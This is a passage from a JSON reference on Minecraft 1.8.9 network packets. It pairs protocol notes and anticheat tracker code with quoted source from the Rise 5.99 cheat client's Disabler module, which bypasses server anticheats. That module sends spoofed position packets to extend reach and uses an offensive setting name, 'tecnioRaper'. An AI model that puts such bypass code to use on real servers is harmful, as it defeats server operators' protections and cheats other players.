(vel.getEntityId() == data.getPlayer().getEntityId()) {\n\n                // Create a new velocity object\n                final Velocity velocity = new Velocity(vel.getValueX(), vel.getValueY(), vel.getValueZ());\n\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.prediction.getQueuedVelocity().add(velocity);\n                        data.prediction.getQueuedVelocities().add(velocity);\n                    }\n                });\n\n                CompletableFuture.runAsync(() -> {\n                    data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                        @Override\n                        public void pre() {\n                            data.checkManager.forEach(cm -> cm.getChecks()\n                                    .values()\n                                    .stream()\n                                    .filter(check -> check instanceof VelocityHandler)\n                                    .filter(ArtemisCheck::canCheck)\n                                    .map(check -> (VelocityHandler) check)\n                                    .forEach(check -> {\n                                        try {\n                                            check.handle(velocity);\n                                        } catch (Exception ex){\n                                            ex.printStackTrace();\n                                        }\n                                    })\n                            );\n\n                            if (!data.prediction.getQueuedVelocities().isEmpty() && data.prediction.getQueuedVelocities().peek().equals(velocity)) {\n                                //entity.setMotionX(velocity.getX());\n                                //entity.setMotionY(velocity.getY());\n                                //entity.setMotionZ(velocity.getZ());\n                                data.prediction.getQueuedVelocities().poll();\n                            }\n\n                            if (!data.prediction.getQueuedVelocity().contains(velocity)) return;\n                            data.entity.setVelocity(velocity.getX(), velocity.getY(), velocity.getZ());\n\n                            while (!data.prediction.getQueuedVelocity().pop().equals(velocity));\n                        }\n                    });\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityEffect) {\n            final GPacketPlayServerEntityEffect eff = (GPacketPlayServerEntityEffect) packet;\n            if (eff.getEntityId() == data.getPlayer().getEntityId()) {\n\n                final PotionEffect effect = new PotionEffect(eff.getEffectId(), eff.getDuration(), eff.getAmplifier());\n\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.entity.addPotionEffect(effect);\n\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityEffectRemove) {\n            final GPacketPlayServerEntityEffectRemove eff = (GPacketPlayServerEntityEffectRemove) packet;\n            if (eff.getEntityId() == data.getPlayer().getEntityId()) {\n\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.entity.removePotionEffect(eff.getEffectId());\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport pos = (GPacketPlayServerEntityTeleport) packet;\n\n            if (pos.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.entity.handlePacket(pos);\n\n                        data.prediction.setLastX(data.prediction.getX());\n                        data.prediction.setLastY(data.prediction.getY());\n                        data.prediction.setLastZ(data.prediction.getZ());\n                        data.prediction.setLastYaw(data.prediction.getYaw());\n                        data.prediction.setLastPitch(data.prediction.getPitch());\n                        data.prediction.setLastGround(data.prediction.isGround());\n\n                        data.prediction.setX(pos.getX() / multiplier);\n                        data.prediction.setY(pos.getY() / multiplier);\n                        data.prediction.setZ(pos.getZ() / multiplier);\n                        data.prediction.setYaw(pos.getValueYaw());\n                        data.prediction.setPitch(pos.getValuePitch());\n                        data.prediction.setGround(pos.isOnGround());\n                        //System.out.println(\"Received teleport entity\");\n                    }\n                });\n\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerUpdateAttributes) {\n            final GPacketPlayServerUpdateAttributes att = (GPacketPlayServerUpdateAttributes) packet;\n\n            if (att.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.entity.handlePacket(att);\n                        //System.out.println(\"Received entity attributes\");\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityMetadata) {\n            final GPacketPlayServerEntityMetadata mtt = (GPacketPlayServerEntityMetadata) packet;\n\n            if (mtt.getEntityId() == data.getPlayer().getEntityId()) {\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.entity.getDataWatcher().updateWatchedObjectsFromList(data.entity.getDataWatcherFactory().readWatchedListFromPacketBuffer(mtt.getBuffer()));\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerExplosion) {\n            final GPacketPlayServerExplosion exp = (GPacketPlayServerExplosion) packet;\n\n            data.connection.confirmFunctionAndTick(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.entity.handleExplosion(exp);\n                }\n            });\n        }\n\n        else if (packet instanceof GPacketPlayServerBlockChange) {\n            final GPacketPlayServerBlockChange chg = (GPacketPlayServerBlockChange) packet;\n\n            //Bukkit.broadcastMessage(\"block change: \" + chg.getPosition().getX() + \":\" + chg.getPosition().getY() + \":\" + chg.getPosition().getZ());\n\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    final BlockPosition pos = chg.getPosition();\n                    final ac.artemis.packet.minecraft.block.Block bukkitBlock = BlockUtil.getBlockAsync(\n                            data.getPlayer().getWorld(),\n                            pos.getX(),\n                            pos.getY(),\n                            pos.getZ()\n                    );\n\n                    final NaivePoint point = new NaivePoint(pos.getX(), pos.getY(), pos.getZ());\n\n                    if (bukkitBlock == null) {\n                        data.getEntity().getWorld().updateMaterialAt(new BlockAir(point, EnumFacing.UP), pos.getX(), pos.getY(), pos.getZ());\n                        return;\n                    }\n\n                    final Block block = BlockFactory.getBlock(\n                            bukkitBlock.getType(),\n                            null,\n                            bukkitBlock.getData(),\n                            point,\n                            null\n                    );\n\n                    //Bukkit.broadcastMessage(\"Updated soocess at \" + point.toString() + \" of type \" + block.getMaterial().toString());\n                    data.getEntity().getWorld().updateMaterialAt(block, pos.getX(), pos.getY(), pos.getZ());\n                }\n            });\n\n        }\n\n        else if (packet instanceof GPacketPlayServerBlockChangeMulti) {\n            final GPacketPlayServerBlockChangeMulti chg = (GPacketPlayServerBlockChangeMulti) packet;\n\n            //Bukkit.broadcastMessage(\"block change multi: \" + chg.getRecords().size());\n\n            if (chg.getRecords() == null) return;\n\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    for (GPacketPlayServerBlockChangeMulti.BlockChange record : chg.getRecords()) {\n                        final BlockPosition pos = record.getPosition();\n                        final ac.artemis.packet.minecraft.block.Block bukkitBlock = BlockUtil.getBlockAsync(\n                                data.getPlayer().getWorld(),\n                                pos.getX(),\n                                pos.getY(),\n                                pos.getZ()\n                        );\n\n                        final NaivePoint point = new NaivePoint(pos.getX(), pos.getY(), pos.getZ());\n\n                        if (bukkitBlock == null) {\n                            data.getEntity().getWorld().updateMaterialAt(new BlockAir(point, EnumFacing.UP), pos.getX(), pos.getY(), pos.getZ());\n                            return;\n                        }\n\n                        final Block block = BlockFactory.getBlock(\n                                bukkitBlock.getType(),\n                                null,\n                                bukkitBlock.getData(),\n                                point,\n                                null\n                        );\n\n\n                        //Bukkit.broadcastMessage(\"Updated multi soocess at \" + point.toString() + \" of type \" + block.getMaterial().toString());\n                        data.getEntity().getWorld().updateMaterialAt(block, pos.getX(), pos.getY(), pos.getZ());\n                    }\n                }\n            });\n        }\n\n    }\n\n    /*\n      __  __                                     _\n     |  \\/  |                                   | |\n     | \\  / | _____   _____ _ __ ___   ___ _ __ | |_\n     | |\\/| |/ _ \\ \\ / / _ \\ '_ ` _ \\ / _ \\ '_ \\| __|\n     | |  | | (_) \\ V /  __/ | | | | |  __/ | | | |_\n     |_|  |_|\\___/ \\_/ \\___|_| |_| |_|\\___|_| |_|\\__|\n\n     */\n\n    private boolean isReady() {\n        return data.entity.getLastPositionPrevious() != null && data.entity.getLastPositionPrevious() != null;\n    }\n\n    private void preUpdate() {\n        data.entity.setRotation(\n                data.prediction.getYaw(),\n                data.prediction.getPitch()\n        );\n\n        data.entity.setPosition(\n                data.prediction.getLastX(),\n                data.prediction.getLastY(),\n                data.prediction.getLastZ()\n        );\n\n        data.entity.setServerPosition(\n                data.prediction.getX(),\n                data.prediction.getY(),\n                data.prediction.getZ()\n        );\n    }\n\n    private boolean preCheck() {\n        //System.out.println(\"DATA IS NULL \");\n        return data == null || data.movement == null;\n    }\n\n    /**\n     * Is null location boolean.\n     *\n     * @return the boolean\n     */\n    public boolean isNullLocation() {\n        return (preCheck() || data.movement.getLocation() == null || data.movement.getLastLocation() == null);\n    }\n\n    /**\n     * Is null velocity boolean.\n     *\n     * @return the boolean\n     */\n    public boolean isNullVelocity() {\n        return (preCheck() || data.movement.getVelocity() == null || data.movement.getLastVelocity() == null);\n    }\n\n    /**\n     * Is null rotation boolean.\n     *\n     * @return the boolean\n     */\n    public boolean isNullRotation() {\n        return (preCheck() || data.movement.getRotation() == null || data.movement.getLastRotation() == null);\n    }\n\n    /**\n     * Is null movement boolean.\n     *\n     * @return the boolean\n     */\n    public boolean isNullMovement() {\n        return (preCheck() || data.movement.getMovement() == null || data.movement.getLastMovement() == null);\n    }\n}\n// NOTE (AI): The remove branch is lines 716-727; the matching apply branch (lines 700-714) feeds the same emulated entity.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/emulator/EmulatorPreProcessor.java",
       "variations": "Grim and BetterAnticheat implement the same removal with their own confirmation mechanisms; the sibling PotionPreProcessor tracks the user-level effect list instead of the emulated entity."
      },
      {
       "name": "Potion removal tracker (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Transition the potion state to empty on removal, under the same confirmation as the apply path.",
       "how_it_works": "On REMOVE_ENTITY_EFFECT for the local player, PotionTracker stages EMPTY_POTION into the potion map on confirmation begin and flushes the old active state after confirm, so getPotion() returns an inactive state as soon as the client receives the removal.",
       "detects": "Nothing by itself; checks reading the potion map stop applying the effect's modifiers after the removal confirms.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/potion/PotionTracker.java =====\npackage better.anticheat.core.player.tracker.impl.potion;\n\nimport better.anticheat.core.player.Player;\nimport better.anticheat.core.player.tracker.Tracker;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.event.simple.PacketPlaySendEvent;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.protocol.potion.PotionTypes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport it.unimi.dsi.fastutil.objects.Object2ObjectArrayMap;\nimport wtf.spare.sparej.incrementer.IntIncrementer;\nimport wtf.spare.sparej.xstate.manystate.ObjectManyState;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\npublic class PotionTracker extends Tracker {\n\n    private static final Potion EMPTY_POTION = new Potion(0, -1);\n\n    private final Map<PotionType, ObjectManyState<Potion>> potionMap = new Object2ObjectArrayMap<>();\n\n    public PotionTracker(Player player) {\n        super(player);\n\n        for (PotionType potionType : PotionTypes.values()) {\n            ObjectManyState<Potion> newManyState = new ObjectManyState<>();\n            newManyState.addNew(EMPTY_POTION);\n            potionMap.put(potionType, newManyState);\n        }\n    }\n\n    public ObjectManyState<Potion> getPotion(PotionType potionType) {\n        return potionMap.get(potionType);\n    }\n\n    @Override\n    public void handlePacketPlayReceive(PacketPlayReceiveEvent event) {\n        if (event.getPacketType() != PacketType.Play.Client.CLIENT_TICK_END) return;\n\n        // Prevent concurrent modifications.\n        List<PotionType> removals = new ArrayList<>();\n\n        /*\n         * TODO: Figure out if this is necessary.\n         * If I'm totally honest, I don't know whether the server or client has definitive control of when a potion\n         * has ended. I'd assume based on\n        for (PotionType key : potionMap.keySet()) {\n            ObjectManyState<Potion> potions = potionMap.get(key);\n\n            if (potions.getCurrent().getActiveCount() != null) {\n                potions.getCurrent().getActiveCount().increment();\n                if (!potions.getCurrent().isActive()) removals.add(key);\n                continue;\n            }\n\n            if (potions.getOld() != null && potions.getOld().getActiveCount() != null) {\n                potions.getOld().getActiveCount().increment();\n                if (!potions.getOld().isActive()) potions.flushOld();\n            }\n        }\n\n        for (PotionType potionType : removals) potionMap.remove(potionType);\n         */\n    }\n\n    @Override\n    public void handlePacketPlaySend(PacketPlaySendEvent event) {\n        switch (event.getPacketType()) {\n            case ENTITY_EFFECT -> {\n                WrapperPlayServerEntityEffect wrapper = new WrapperPlayServerEntityEffect(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n\n                var confirmation = player.getConfirmationTracker().confirm();\n\n                Potion potion = new Potion(wrapper.getEffectAmplifier(), wrapper.getEffectDurationTicks());\n                confirmation.onBegin(() -> {\n                    potionMap.get(wrapper.getPotionType()).addNew(potion);\n                });\n                confirmation.onAfterConfirm(() -> {\n                    potionMap.get(wrapper.getPotionType()).flushOld();\n                    potion.setActiveCount(new IntIncrementer(0));\n                });\n            }\n            case REMOVE_ENTITY_EFFECT -> {\n                WrapperPlayServerRemoveEntityEffect wrapper = new WrapperPlayServerRemoveEntityEffect(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n\n                event.getUser().sendMessage(\"Removed potion!\");\n\n                var confirmation = player.getConfirmationTracker().confirm();\n\n                /*\n                 * When this packet is beginning to be received, we should begin to transition to an empty potion state\n                 * for this effect. By the time it has been officially received, we should remove the old potion that\n                 * was in there.\n                 */\n                confirmation.onBegin(() -> potionMap.get(wrapper.getPotionType()).addNew(EMPTY_POTION));\n                confirmation.onAfterConfirm(() -> potionMap.get(wrapper.getPotionType()).flushOld());\n            }\n        }\n    }\n}\n// NOTE (AI): The REMOVE_ENTITY_EFFECT branch is lines 90-105; EMPTY_POTION (amplifier 0, duration -1) is the inactive sentinel defined at line 24.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/potion/PotionTracker.java",
       "variations": "Grim removes the effect directly from the compensated entity; Artemis tracks the user effect list and the emulated entity in two processors."
      },
      {
       "name": "Effect packet filter (Tecnio)",
       "found_in": [
        "Tecnio-AntiHaxerman"
       ],
       "purpose": "Whitelist both entity-effect packets in the network filter so the pipeline can route them to the attribute tracker.",
       "how_it_works": "NetworkFilter's constructor adds GPacketPlayServerEntityEffect and GPacketPlayServerEntityEffectRemove to the allowed-class set. isAllowed gates packet processing, so these two clientbound classes pass into the tracker layer while unlisted packets are ignored.",
       "detects": "Nothing directly; the filter is the routing table that lets potion state reach checks.",
       "detailed_code": "// ===== FILE: Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/listener/network/NetworkFilter.java =====\npackage me.tecnio.ahm.listener.network;\n\nimport cc.ghast.packet.wrapper.packet.play.client.*;\nimport cc.ghast.packet.wrapper.packet.play.server.*;\n\nimport java.util.Arrays;\nimport java.util.HashSet;\n\npublic final class NetworkFilter {\n\n    private final HashSet<Class<?>> filters = new HashSet<>();\n\n    public NetworkFilter() {\n        this.filters.addAll(Arrays.asList(\n                GPacketPlayClientFlying.class,\n                GPacketPlayClientPosition.class,\n                GPacketPlayClientPositionLook.class,\n                GPacketPlayClientLook.class,\n                GPacketPlayClientUseEntity.class,\n                GPacketPlayClientKeepAlive.class,\n                GPacketPlayServerKeepAlive.class,\n                GPacketPlayClientTransaction.class,\n                GPacketPlayServerTransaction.class,\n                GPacketPlayServerEntity.class,\n                GPacketPlayServerEntity.GPacketPlayServerEntityLook.class,\n                GPacketPlayServerEntity.GPacketPlayServerRelEntityMove.class,\n                GPacketPlayServerEntity.GPacketPlayServerRelEntityMoveLook.class,\n                GPacketPlayServerEntityTeleport.class,\n                GPacketPlayServerSpawnNamedEntity.class,\n                GPacketPlayServerEntityDestroy.class,\n                GPacketPlayClientBlockPlace.class,\n                GPacketPlayClientArmAnimation.class,\n                GPacketPlayClientBlockDig.class,\n                GPacketPlayClientHeldItemSlot.class,\n                GPacketPlayServerPosition.class,\n                GPacketPlayServerBlockChange.class,\n                GPacketPlayServerBlockChangeMulti.class,\n                GPacketPlayClientEntityAction.class,\n                GPacketPlayServerEntityEffect.class,\n                GPacketPlayServerEntityEffectRemove.class,\n                GPacketPlayServerUpdateAttributes.class,\n                GPacketPlayServerEntityVelocity.class,\n                GPacketPlayClientBlockDig.class\n        ));\n    }\n\n    public boolean isAllowed(final Class<?> clazz) {\n        return this.filters.contains(clazz);\n    }\n}\n// NOTE (AI): The two effect classes are registered at lines 39-40; the rest of the set covers movement, interaction and transaction packets.",
       "code_source": "Tecnio-AntiHaxerman, src/main/java/me/tecnio/ahm/listener/network/NetworkFilter.java",
       "variations": "Other anticheats subscribe to the packets directly through their event systems and need no explicit whitelist."
      }
     ]
    }
   },
   "wiki_notes": [
    "Clientbound 0x1E: VarInt entityId plus unsigned byte potion effect ID.",
    "Mirror of S1D apply; client drops the stored effect and refreshes attributes and HUD.",
    "Unknown entity or effect ID is ignored; remove before apply is a no-op.",
    "MCP 1.8.9 S1EPacketRemoveEntityEffect implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleRemoveEntityEffect; wire serde is readPacketData/writePacketData via readUnsignedByte, readVarIntFromBuffer.",
    "1.8.9 callers: EntityPlayerMP.onFinishedPotionEffect sends new S1EPacketRemoveEntityEffect (line 1061): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/player/EntityPlayerMP.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S1EPacketRemoveEntityEffect/",
   "mcp_path": "net/minecraft/network/play/server/S1EPacketRemoveEntityEffect.java",
   "group": "play-client",
   "logic_classes": [
    "EntityPlayerMP"
   ]
  },
  {
   "id": "S1FPacketSetExperience",
   "hex": "0x1F",
   "dec": 31,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Set Experience",
   "desc": "Updates the player's experience bar (level, total XP, progress).",
   "tags": [
    "player",
    "xp"
   ],
   "fields": [
    {
     "name": "experienceBar",
     "type": "float",
     "desc": "Progress to next level (0.0-1.0)"
    },
    {
     "name": "totalExperience",
     "type": "VarInt",
     "desc": "Total accumulated XP"
    },
    {
     "name": "level",
     "type": "VarInt",
     "desc": "Current XP level"
    }
   ],
   "encoding": [
    [
     "XP Progress",
     "float",
     "0.0-1.0"
    ],
    [
     "Total XP",
     "VarInt",
     ""
    ],
    [
     "Level",
     "VarInt",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSetExperience()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "S1FPacketSetExperience synchronizes the player's XP bar: experienceBar float (0.0-1.0 progress to next level), totalExperience VarInt, level VarInt. The server sends it from EntityPlayerMP when XP changes (line 401 in the corpus) and from ServerConfigurationManager on respawn/join (line 477). It is a pure display-state push: the client stores the three values and the HUD renders from them; the client never reports XP back, so the server's XP math is the only authoritative copy."
     },
     {
      "h": "Vanilla handling",
      "p": "NetHandlerPlayClient.handleSetExperience calls thePlayer.setXPStats(progress, totalXp, level), which writes the player's experience, experienceTotal and experienceLevel fields. GuiIngame draws the bar and the level number from those fields every frame. Unlike health (S06) there is no client-side regeneration model behind it: the packet is the entire state."
     },
     {
      "h": "Why clients touch it",
      "p": "Exactly one module in the 8 clients references S1F: Rise 5.99 Disabler, whose Hypixel Slime mode cancels the packet in onPacketReceive. Rise 6.1.30/6.2.4 only register the class in NetworkAPI (clientbound index 74). The XPHUD/AutoEnchant entries from older packet docs have zero corpus hits in the reference clients: XP is read from the player object, not from the packet."
     },
     {
      "h": "Exploit surface",
      "p": "Cancelling S1F freezes the client-side XP bar while the server continues its own XP bookkeeping. Because the client never acknowledges XP, the divergence is invisible in the packet stream, and enchanting/anvil costs are computed server-side so nothing gameplay-relevant is gained. The Rise 5.99 usage is a state-freeze side effect of the Hypixel Slime disabler mode, which cancels the XP sync together with slime sound and particle packets so the client's stored minigame state stays static during the bypass window."
     }
    ],
    "overview": "A three-field display push for the XP bar with a single module hit in the reference set: Rise 5.99 Disabler's Hypixel Slime mode cancels it to freeze client state. Everything else is vanilla or the Rise 6.x script registry.",
    "server_handling": "EntityPlayerMP sends S1F at line 401 whenever the player's XP fields change (addExperience, addExperienceLevel, onEnchant, the level-up path). ServerConfigurationManager sends it at line 477 when a player joins or respawns so the bar starts correct. There is no inbound validation because the packet is clientbound; the server trusts its own XP math entirely.",
    "protocol_notes": "Three fields in order: float progress (0.0-1.0), VarInt total XP, VarInt level. The float is written as a 32-bit IEEE value, so progress is exact to the wire format. The client stores all three as player fields; GuiIngame renders progress as the bar fill and level as the number. A cancelled S1F leaves the previous values in place, which is the freeze the Rise 5.99 mode relies on.",
    "anticheat_landscape": "No anti-cheat measures S1F. XP is never echoed by the client, so a frozen bar cannot be distinguished from a laggy one by packet inspection alone. Servers that need XP for gameplay (enchanting, anvils, spawners) compute it server-side, which is why cancelling the packet is safe and why no bypass value exists beyond cosmetics or minigame state sync.",
    "modules": [
     {
      "name": "Disabler",
      "found_in": [
       "Rise 5.99"
      ],
      "purpose": "The Hypixel Slime mode cancels S1FPacketSetExperience so the client's stored XP state stays frozen while the rest of the mode's state-freeze bypass runs.",
      "how_it_works": "In onPacketReceive, when the hypixelSlime toggle is enabled, the handler rewrites S02PacketChat type-2 messages that contain 'UNAVAILABLE', cancels S29PacketSoundEffect with sound name 'mob.slime.big', cancels S2APacketParticles of type SLIME, and cancels S1FPacketSetExperience. The XP cancel keeps the minigame's XP sync from mutating client state mid-bypass.",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/other/Disabler.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.other;\n\nimport de.gerrygames.viarewind.utils.ChatUtil;\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.event.impl.motion.TeleportEvent;\nimport dev.rise.event.impl.other.AttackEvent;\nimport dev.rise.event.impl.other.StrafeEvent;\nimport dev.rise.event.impl.other.WorldChangedEvent;\nimport dev.rise.event.impl.packet.PacketReceiveEvent;\nimport dev.rise.event.impl.packet.PacketSendEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.module.impl.movement.Fly;\nimport dev.rise.module.impl.movement.LongJump;\nimport dev.rise.module.impl.player.Scaffold;\nimport dev.rise.notifications.NotificationType;\nimport dev.rise.setting.Setting;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NoteSetting;\nimport dev.rise.util.math.MathUtil;\nimport dev.rise.util.math.TimeUtil;\nimport dev.rise.util.pathfinding.MainPathFinder;\nimport dev.rise.util.player.MoveUtil;\nimport dev.rise.util.player.PacketUtil;\nimport dev.rise.util.player.PlayerUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.*;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.*;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedDeque;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n/**\n * This module is designed to disable an anticheat or some of its checks\n * in order to make bypassing easier/having extreme bypasses.\n */\n@ModuleInfo(name = \"Disabler\", description = \"Disables some servers AntiCheats\", category = Category.OTHER)\npublic final class Disabler extends Module {\n\n    private final NoteSetting modeSettings = new NoteSetting(\"Mode Settings\", this);\n    private final BooleanSetting hypixel = new BooleanSetting(\"Hypixel\", this, false);\n    private final BooleanSetting mineland = new BooleanSetting(\"Mineland\", this, false);\n    private final BooleanSetting mmcKeepSprint = new BooleanSetting(\"Minemenclub Keepsprint Check\", this, false);\n    private final BooleanSetting mmcReach = new BooleanSetting(\"Minemenclub Reach Semi\", this, false);\n    private final BooleanSetting hypixelSlime = new BooleanSetting(\"Hypixel Slime\", this, false);\n    private final BooleanSetting dynamicPvP = new BooleanSetting(\"Dynamic PvP\", this, false);\n    private final BooleanSetting ghostlyCombat = new BooleanSetting(\"Ghostly Combat\", this, false);\n    private final BooleanSetting ghostly = new BooleanSetting(\"Ghostly\", this, false);\n    private final BooleanSetting lunar = new BooleanSetting(\"Lunar\", this, false);\n    private final BooleanSetting position = new BooleanSetting(\"Position Edit\", this, false);\n    private final BooleanSetting vulcanCombat = new BooleanSetting(\"Vulcan Reach A\", this, false);\n    private final BooleanSetting verusCombat = new BooleanSetting(\"Verus Combat\", this, false);\n    private final BooleanSetting verus = new BooleanSetting(\"Verus\", this, false);\n    private final BooleanSetting blocksMC = new BooleanSetting(\"BlocksMC\", this, false);\n    private final BooleanSetting sentinel = new BooleanSetting(\"Sentinel\", this, false);\n    private final BooleanSetting shartemis = new BooleanSetting(\"Shartemis Movement\", this, false);\n\n    //Any disabler after this line will be hidden if this is true\n    private final BooleanSetting hideOldDisablers = new BooleanSetting(\"Hide Old Disablers\", this, true);\n\n    private final NoteSetting oldModeSettings = new NoteSetting(\"Old Mode Settings\", this);\n\n    private final BooleanSetting verusOld = new BooleanSetting(\"Verus Old\", this, false);\n    private final BooleanSetting spartan = new BooleanSetting(\"Spartan\", this, false);\n    private final BooleanSetting voidTp = new BooleanSetting(\"Void TP\", this, false);\n    private final BooleanSetting clip = new BooleanSetting(\"Clip\", this, false);\n    private final BooleanSetting tecnioRaper = new BooleanSetting(\"Tecnio AC Disabler\", this, false);\n    private final BooleanSetting convertMovingPackets = new BooleanSetting(\"Covert Moving Packets\", this, false);\n    private final BooleanSetting reverseConvertMovingPackets = new BooleanSetting(\"Reverse Covert Moving Packets\", this, false);\n    private final BooleanSetting funnyCraft = new BooleanSetting(\"Funcraft\", this, false);\n    private final BooleanSetting oxygen = new BooleanSetting(\"Oxygen\", this, false);\n\n    private final NoteSetting packetSettings = new NoteSetting(\"Packet Settings\", this);\n\n    private final BooleanSetting coc = new BooleanSetting(\"PacketInput\", this, false);\n    private final BooleanSetting c0f = new BooleanSetting(\"ConfirmTransaction\", this, false);\n    private final BooleanSetting c00 = new BooleanSetting(\"PacketKeepAlive\", this, false);\n    private final BooleanSetting c08 = new BooleanSetting(\"PacketPlayerBlockPlacement\", this, false);\n    private final BooleanSetting c13 = new BooleanSetting(\"PacketPlayerAbilities\", this, false);\n    private final BooleanSetting c16 = new BooleanSetting(\"PacketClientStatus\", this, false);\n    private final BooleanSetting c18 = new BooleanSetting(\"PacketSpectate\", this, false);\n    private final BooleanSetting c19 = new BooleanSetting(\"PacketResourcePacketStatus\", this, false);\n\n    private final ConcurrentLinkedQueue<Packet<?>> packetList = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> packetList2 = new ConcurrentLinkedQueue<>();\n    private final ConcurrentHashMap<Packet<?>, Long> packetHashMap = new ConcurrentHashMap<>();\n    private final ConcurrentLinkedQueue<Packet<?>> transactions = new ConcurrentLinkedQueue<>();\n    private final ConcurrentLinkedQueue<Packet<?>> keepAlives = new ConcurrentLinkedQueue<>();\n\n    public static final ConcurrentLinkedQueue<PacketUtil.TimedPacket> packets = new ConcurrentLinkedQueue<>();\n    public static boolean spoofing;\n    private int ticksSinceTeleport;\n    private long currentDelay;\n    private final TimeUtil timer = new TimeUtil();\n\n    private long nextSend;\n    private boolean teleported;\n    private boolean exempt;\n    private float previousYaw, previousPitch;\n\n    @Override\n    public void onAttackEvent(final AttackEvent event) {\n        if (event.getTarget() != null) {\n            if (ghostlyCombat.isEnabled()) {\n                final double distance = mc.thePlayer.getDistanceToEntity(event.getTarget()) - 0.5657;\n                if (distance > 2.9) {\n                    if (mc.thePlayer.canEntityBeSeen(event.getTarget()))\n                        PacketUtil.sendPacket(new C03PacketPlayer.C04PacketPlayerPosition(event.getTarget().posX, event.getTarget().posY, event.getTarget().posZ, false));\n                    else\n                        event.setCancelled(true);\n                }\n            }\n        }\n    }\n\n    @Override\n    public void onUpdateAlwaysInGui() {\n        boolean hideAllAfter = false;\n        for (final Setting setting : getSettings()) {\n            setting.hidden = hideAllAfter;\n\n            if (hideOldDisablers == setting && hideOldDisablers.isEnabled()) {\n                hideAllAfter = true;\n            }\n        }\n    }\n\n    @Override\n    protected void onEnable() {\n        if (mc.isIntegratedServerRunning())\n            return;\n\n        if (hypixel.isEnabled()) {\n            final ChatComponentText chatcomponenttext = new ChatComponentText(\"Rejoin\");\n            mc.getNetHandler().getNetworkManager().closeChannel(chatcomponenttext);\n        }\n\n        if (mmcReach.isEnabled()) {\n            Rise.INSTANCE.getNotificationManager().registerNotification(\"You need low ping for this disabler to not kick.\", NotificationType.WARNING);\n        }\n\n        transactions.clear();\n        keepAlives.clear();\n        teleported = false;\n        timer.reset();\n    }\n\n    